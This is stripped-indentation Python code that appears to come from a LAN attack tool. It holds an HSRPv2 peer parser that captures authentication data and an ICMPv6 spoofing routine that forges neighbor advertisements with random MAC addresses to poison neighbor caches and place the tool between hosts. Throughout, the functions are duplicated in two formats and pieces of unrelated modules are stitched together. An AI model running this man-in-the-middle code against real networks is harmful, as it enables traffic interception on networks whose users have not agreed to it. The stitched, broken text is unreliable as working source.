def input_ip6(self, eth, ip6, timestamp):
if eth.src == self.mac:
return
if ip6.nxt == dpkt.ip.IP_PROTO_ICMP6:
icmp6 = dpkt.icmp6.ICMP6(str(ip6.data))
mac = dnet.eth_ntoa(str(eth.src))
if self.mac:
if icmp6.type == dpkt.icmp6.ND_NEIGHBOR_SOLICIT:
ip6_dst = dnet.ip6_ntoa(str(icmp6.data)[4:20])
for h in self.hosts:
if mac == h:
(ip6_src, rand_mac_src, iter_src, reply_src) = self.hosts[mac]
for i in self.hosts:
(ip6, rand_mac_dst, iter_dst, reply_dst) = self.hosts[i]
if ip6_dst == ip6:
break
if reply_src and reply_dst:
_icmp6 = dpkt.icmp6.ICMP6( type=dpkt.icmp6.ND_NEIGHBOR_SOLICIT,
code=0,
data=struct.pack("!L16sBB6s", 0x60000000, dnet.ip6_aton(ip6_dst), 1, 1, rand_mac_dst)
)
_eth = dpkt.ethernet.Ethernet( dst=eth.src,
src=dnet.eth_aton(rand_mac_dst),
type=dpkt.ip.IP_PROTO_IP6,
data=str(_icmp6)
)
self.dnet.send(str(_eth))
break
if icmp6.type == dpkt.icmp6.ND_ROUTER_ADVERT:
if mac in self.hosts:
(ip, random_mac, iter, reply) = self.hosts[mac]
if self.ui == 'gtk':
self.hosts_liststore.set(iter, 2, "R")
for h in self.hosts:
if mac == h:
return
(ip, random_mac, iter, reply) = self.hosts[h]
if mac == random_mac:
return
ip = dnet.ip6_ntoa(ip6.src)
if ip == "::":
return
rand_mac = [ 0x00, random.randint(0x00, 0xff), random.randint(0x00, 0xff), random.randint(0x00, 0xff), random.randint(0x00, 0xff), random.randint(0x00, 0xff) ]
rand_mac = ':'.join(map(lambda x: "%02x" % x, rand_mac))
if self.ui == 'gtk':
iter = self.hosts_liststore.append([mac, ip, "", self.mac_to_vendor(mac)])
elif self.ui == 'urw':
self.hostlist.append(self.parent.menu_button("%s(%s) - %s" % (mac, self.mac_to_vendor(mac), ip), self.urw_hostlist_activated, mac))
iter = None
self.hosts[mac] = (dnet.ip6_ntoa(ip6.src), rand_mac, iter, False)
if self.ui == 'gtk':
self.mappings_liststore.append([mac, rand_mac])
def input_udp(self, eth, ip, udp, timestamp):
if ip.src != self.ip and ip.src != self.ip6_ll:
if ip.src not in self.peers:
pkg = {}
ip_addr = ""
prio = 0
auth = ""
tlv = hsrp2_tlv()
left = str(udp.data)
while len(left) > 0:
left = tlv.parse(left)
if tlv.type == hsrp2_tlv.TYPE_GROUP_STATE:
hsrp2_group_state = hsrp2_group_state_tlv()
left = hsrp2_group_state.parse(left)
pkg["hsrp2_group_state_tlv"] = hsrp2_group_state
ip_addr = hsrp2_group_state.ip
prio = hsrp2_group_state.prio
elif tlv.type == hsrp2_tlv.TYPE_TEXT_AUTH:
hsrp2_text_auth = hsrp2_text_auth_tlv()
left = hsrp2_text_auth.parse(left)
pkg["hsrp2_text_auth_tlv"] = hsrp2_text_auth
auth = hsrp2_text_auth.auth_data
elif tlv.type == hsrp2_tlv.TYPE_MD5_AUTH:
hsrp2_md5_auth = hsrp2_md5_auth_tlv()
left = hsrp2_md5_auth.parse(left)
pkg["hsrp2_md5_auth_tlv"] = hsrp2_md5_auth
auth = "MD5: %s key#%d" % (hsrp2_md5_auth.csum.encode(
"hex"), hsrp2_md5_auth.keyid)
else:
return
if type(ip) == dpkt.ip6.IP6:
src = dnet.ip6_ntoa(ip.src)
ip_addr = dnet.ip6_ntoa(ip_addr)
else:
src = dnet.ip_ntoa(ip.src)
ip_addr = dnet.ip_ntoa(ip_addr)
if self.ui == 'gtk':
iter = self.liststore.append(
[src, ip_addr, prio, "Seen", auth])
elif self.ui == 'urw':
label = "%s - %s PRIO(%d) AUTH(%s)" % (src, ip_addr, prio,
auth)
self.hostlist.append(
self.parent.menu_button(label + " - Seen",
self.urw_hostlist_activated,
(ip.src, label)))
iter = None
self.peers[ip.src] = (iter, pkg, False, False)
self.log("HSRP2: Got new peer %s" % (src))
def input_udp(self, eth, ip, udp, timestamp):
if ip.src != self.ip and ip.src != self.ip6_ll:
if ip.src not in self.peers:
pkg = {}
ip_addr = ""
prio = 0
auth = ""
tlv = hsrp2_tlv()
left = str(udp.data)
while len(left) > 0:
left = tlv.parse(left)
if tlv.type == hsrp2_tlv.TYPE_GROUP_STATE:
hsrp2_group_state = hsrp2_group_state_tlv()
left = hsrp2_group_state.parse(left)
pkg["hsrp2_group_state_tlv"] = hsrp2_group_state
ip_addr = hsrp2_group_state.ip
prio = hsrp2_group_state.prio
elif tlv.type == hsrp2_tlv.TYPE_TEXT_AUTH:
hsrp2_text_auth = hsrp2_text_auth_tlv()
left = hsrp2_text_auth.parse(left)
pkg["hsrp2_text_auth_tlv"] = hsrp2_text_auth
auth = hsrp2_text_auth.auth_data
elif tlv.type == hsrp2_tlv.TYPE_MD5_AUTH:
hsrp2_md5_auth = hsrp2_md5_auth_tlv()
left = hsrp2_md5_auth.parse(left)
pkg["hsrp2_md5_auth_tlv"] = hsrp2_md5_auth
auth = "MD5: %s key#%d" % (hsrp2_md5_auth.csum.encode("hex"), hsrp2_md5_auth.keyid)
else:
return
if type(ip) == dpkt.ip6.IP6:
src = dnet.ip6_ntoa(ip.src)
ip_addr = dnet.ip6_ntoa(ip_addr)
else:
src = dnet.ip_ntoa(ip.src)
ip_addr = dnet.ip_ntoa(ip_addr)
if self.ui == 'gtk':
iter = self.liststore.append([src, ip_addr, prio, "Seen", auth])
elif self.ui == 'urw':
label = "%s - %s PRIO(%d) AUTH(%s)" % (src, ip_addr, prio, auth)
self.hostlist.append(self.parent.menu_button(label + " - Seen", self.urw_hostlist_activated, (ip.src, label)))
iter = None
self.peers[ip.src] = (iter, pkg, False, False)
self.log("HSRP2: Got new peer %s" % (src))
def add_spoof(self):
data = []
org_data = []
hosts = []
for host_upper in self.upper_add:
(ip_upper, rand_mac_upper, iter_upper) = self.upper_add[host_upper]
for host_lower in self.lower_add:
(ip_lower, rand_mac_lower,
iter_lower) = self.lower_add[host_lower]
advert = struct.pack("!I16sBB6s", 0x60000000,
dnet.ip6_aton(ip_upper), 2, 1,
dnet.eth_aton(rand_mac_upper))
icmp6 = dpkt.icmp6.ICMP6(type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton(ip_lower),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str))
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(dst=dnet.eth_aton(host_lower),
src=dnet.eth_aton(rand_mac_upper),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000,
dnet.ip6_aton(ip_lower), 2, 1,
dnet.eth_aton(host_upper))
icmp6 = dpkt.icmp6.ICMP6(type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton(ip_lower),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str))
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(dst=dnet.eth_aton(host_lower),
src=dnet.eth_aton(host_upper),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
org_data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000,
dnet.ip6_aton(ip_lower), 2, 1,
dnet.eth_aton(rand_mac_lower))
icmp6 = dpkt.icmp6.ICMP6(type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton(ip_upper),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str))
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(dst=dnet.eth_aton(host_upper),
src=dnet.eth_aton(rand_mac_lower),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000,
dnet.ip6_aton(ip_lower), 2, 1,
dnet.eth_aton(host_lower))
icmp6 = dpkt.icmp6.ICMP6(type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton(ip_upper),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str))
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(dst=dnet.eth_aton(host_upper),
src=dnet.eth_aton(host_lower),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
org_data.append(str(eth))
hosts.append(host_upper)
mld = struct.pack(
"!xxHBBH16s", 1, 4, 0, 0,
dnet.ip6_aton("ff02::1:ff00:0000")[:13] +
dnet.ip6_aton(ip_upper)[13:])
icmp6 = dpkt.icmp6.ICMP6(type=143, code=0, data=mld)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton("ff02::16"),
nxt=dpkt.ip.IP_PROTO_HOPOPTS,
hlim=1,
data=icmp6,
plen=len(icmp6_str) + 8)
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6.extension_hdrs[
dpkt.ip.IP_PROTO_HOPOPTS] = dpkt.ip6.IP6HopOptsHeader(
nxt=dpkt.ip.IP_PROTO_ICMP6,
data=struct.pack("!BBHBB", 5, 2, 0, 1, 0))
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
len(icmp6_str), dpkt.ip.IP_PROTO_ICMP6)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton("33:33:00:00:00:16"),
src=self.mac,
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
self.dnet.send(str(eth))
self.log("ICMP6: Joined multicast group " + dnet.ip6_ntoa(
dnet.ip6_aton("ff02::1:ff00:0000")[:13] +
dnet.ip6_aton(ip_upper)[13:]))
for host_lower in self.lower_add:
hosts.append(host_lower)
(ip_lower, rand_mac_lower, iter_lower) = self.lower_add[host_lower]
mld = struct.pack(
"!xxHBBH16s", 1, 4, 0, 0,
dnet.ip6_aton("ff02::1:ff00:0000")[:13] +
dnet.ip6_aton(ip_lower)[13:])
icmp6 = dpkt.icmp6.ICMP6(type=143, code=0, data=mld)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6(src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton("ff02::16"),
nxt=dpkt.ip.IP_PROTO_HOPOPTS,
hlim=1,
data=icmp6,
plen=len(icmp6_str) + 8)
ip6.extension_hdrs = {}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i] = None
ip6.extension_hdrs[
dpkt.ip.IP_PROTO_HOPOPTS] = dpkt.ip6.IP6HopOptsHeader(
nxt=dpkt.ip.IP_PROTO_ICMP6,
data=struct.pack("!BBHBB", 5, 2, 0, 1, 0))
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst,
len(icmp6_str), dpkt.ip.IP_PROTO_ICMP6)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton("33:33:00:00:00:16"),
src=self.mac,
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6)
self.dnet.send(str(eth))
self.log("ICMP6: Joined multicast group " + dnet.ip6_ntoa(
dnet.ip6_aton("ff02::1:ff00:0000")[:13] +
dnet.ip6_aton(ip_lower)[13:]))
self.upper_add = {}
self.lower_add = {}
return (data, org_data, hosts)
def input_ip6(self, eth, ip6, timestamp):
if eth.src == self.mac:
return
if ip6.nxt == dpkt.ip.IP_PROTO_ICMP6:
icmp6 = dpkt.icmp6.ICMP6(str(ip6.data))
mac = dnet.eth_ntoa(str(eth.src))
if self.mac:
if icmp6.type == dpkt.icmp6.ND_NEIGHBOR_SOLICIT:
ip6_dst = dnet.ip6_ntoa(str(icmp6.data)[4:20])
for h in self.hosts:
if mac == h:
(ip6_src, rand_mac_src, iter_src,
reply_src) = self.hosts[mac]
for i in self.hosts:
(ip6, rand_mac_dst, iter_dst,
reply_dst) = self.hosts[i]
if ip6_dst == ip6:
break
if reply_src and reply_dst:
_icmp6 = dpkt.icmp6.ICMP6(
type=dpkt.icmp6.ND_NEIGHBOR_SOLICIT,
code=0,
data=struct.pack("!L16sBB6s", 0x60000000,
dnet.ip6_aton(ip6_dst), 1,
1, rand_mac_dst))
_eth = dpkt.ethernet.Ethernet(
dst=eth.src,
src=dnet.eth_aton(rand_mac_dst),
type=dpkt.ip.IP_PROTO_IP6,
data=str(_icmp6))
self.dnet.send(str(_eth))
break
if icmp6.type == dpkt.icmp6.ND_ROUTER_ADVERT:
if mac in self.hosts:
(ip, random_mac, iter, reply) = self.hosts[mac]
if self.ui == 'gtk':
self.hosts_liststore.set(iter, 2, "R")
for h in self.hosts:
if mac == h:
return
(ip, random_mac, iter, reply) = self.hosts[h]
if mac == random_mac:
return
ip = dnet.ip6_ntoa(ip6.src)
if ip == "::":
return
rand_mac = [
0x00,
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)
]
rand_mac = ':'.join(map(lambda x: "%02x" % x, rand_mac))
if self.ui == 'gtk':
iter = self.hosts_liststore.append(
[mac, ip, "", self.mac_to_vendor(mac)])
elif self.ui == 'urw':
self.hostlist.append(
self.parent.menu_button(
"%s(%s) - %s" % (mac, self.mac_to_vendor(mac), ip),
self.urw_hostlist_activated, mac))
iter = None
self.hosts[mac] = (dnet.ip6_ntoa(ip6.src), rand_mac, iter, False)
if self.ui == 'gtk':
self.mappings_liststore.append([mac, rand_mac])
def check_ip6(self, ip6):
if dnet.ip6_ntoa(ip6.src) == "::":
return (False, False)
return (True, False)
def add_spoof(self):
data = []
org_data = []
hosts = []
for host_upper in self.upper_add:
(ip_upper, rand_mac_upper, iter_upper) = self.upper_add[host_upper]
for host_lower in self.lower_add:
(ip_lower, rand_mac_lower, iter_lower) = self.lower_add[host_lower]
advert = struct.pack("!I16sBB6s", 0x60000000, dnet.ip6_aton(ip_upper), 2, 1, dnet.eth_aton(rand_mac_upper))
icmp6 = dpkt.icmp6.ICMP6( type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton(ip_lower),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str)
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(host_lower),
src=dnet.eth_aton(rand_mac_upper),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000, dnet.ip6_aton(ip_lower), 2, 1, dnet.eth_aton(host_upper))
icmp6 = dpkt.icmp6.ICMP6( type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton(ip_lower),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str)
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(host_lower),
src=dnet.eth_aton(host_upper),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
org_data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000, dnet.ip6_aton(ip_lower), 2, 1, dnet.eth_aton(rand_mac_lower))
icmp6 = dpkt.icmp6.ICMP6( type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton(ip_upper),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str)
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(host_upper),
src=dnet.eth_aton(rand_mac_lower),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
data.append(str(eth))
advert = struct.pack("!I16sBB6s", 0x60000000, dnet.ip6_aton(ip_lower), 2, 1, dnet.eth_aton(host_lower))
icmp6 = dpkt.icmp6.ICMP6( type=dpkt.icmp6.ND_NEIGHBOR_ADVERT,
code=0,
data=advert
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton(ip_upper),
nxt=dpkt.ip.IP_PROTO_ICMP6,
hlim=255,
data=icmp6,
plen=len(icmp6_str)
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, ip6.plen, ip6.nxt)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(host_upper),
src=dnet.eth_aton(host_lower),
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
org_data.append(str(eth))
hosts.append(host_upper)
mld = struct.pack("!xxHBBH16s", 1, 4, 0, 0, dnet.ip6_aton("ff02::1:ff00:0000")[:13] + dnet.ip6_aton(ip_upper)[13:])
icmp6 = dpkt.icmp6.ICMP6( type=143,
code=0,
data=mld
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_upper),
dst=dnet.ip6_aton("ff02::16"),
nxt=dpkt.ip.IP_PROTO_HOPOPTS,
hlim=1,
data=icmp6,
plen=len(icmp6_str) + 8
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6.extension_hdrs[dpkt.ip.IP_PROTO_HOPOPTS] = dpkt.ip6.IP6HopOptsHeader(nxt=dpkt.ip.IP_PROTO_ICMP6, data=struct.pack("!BBHBB", 5, 2, 0, 1, 0))
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, len(icmp6_str),
dpkt.ip.IP_PROTO_ICMP6)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton("33:33:00:00:00:16"),
src=self.mac,
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
self.dnet.send(str(eth))
self.log("ICMP6: Joined multicast group " + dnet.ip6_ntoa(dnet.ip6_aton("ff02::1:ff00:0000")[:13] + dnet.ip6_aton(ip_upper)[13:]))
for host_lower in self.lower_add:
hosts.append(host_lower)
(ip_lower, rand_mac_lower, iter_lower) = self.lower_add[host_lower]
mld = struct.pack("!xxHBBH16s", 1, 4, 0, 0, dnet.ip6_aton("ff02::1:ff00:0000")[:13] + dnet.ip6_aton(ip_lower)[13:])
icmp6 = dpkt.icmp6.ICMP6( type=143,
code=0,
data=mld
)
icmp6_str = str(icmp6)
ip6 = dpkt.ip6.IP6( src=dnet.ip6_aton(ip_lower),
dst=dnet.ip6_aton("ff02::16"),
nxt=dpkt.ip.IP_PROTO_HOPOPTS,
hlim=1,
data=icmp6,
plen=len(icmp6_str) + 8
)
ip6.extension_hdrs={}
for i in dpkt.ip6.ext_hdrs:
ip6.extension_hdrs[i]=None
ip6.extension_hdrs[dpkt.ip.IP_PROTO_HOPOPTS] = dpkt.ip6.IP6HopOptsHeader(nxt=dpkt.ip.IP_PROTO_ICMP6, data=struct.pack("!BBHBB", 5, 2, 0, 1, 0))
ip6_pseudo = struct.pack('!16s16sIxxxB', ip6.src, ip6.dst, len(icmp6_str),
dpkt.ip.IP_PROTO_ICMP6)
icmp6.sum = ichecksum_func(ip6_pseudo + icmp6_str)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton("33:33:00:00:00:16"),
src=self.mac,
data=str(ip6),
type=dpkt.ethernet.ETH_TYPE_IP6
)
self.dnet.send(str(eth))
self.log("ICMP6: Joined multicast group " + dnet.ip6_ntoa(dnet.ip6_aton("ff02::1:ff00:0000")[:13] + dnet.ip6_aton(ip_lower)[13:]))
self.upper_add = {}
self.lower_add = {}
return (data, org_data, hosts)
def check_ip6(self, ip6):
if dnet.ip6_ntoa(ip6.src) == "::":
return (False, False)
return (True, False)
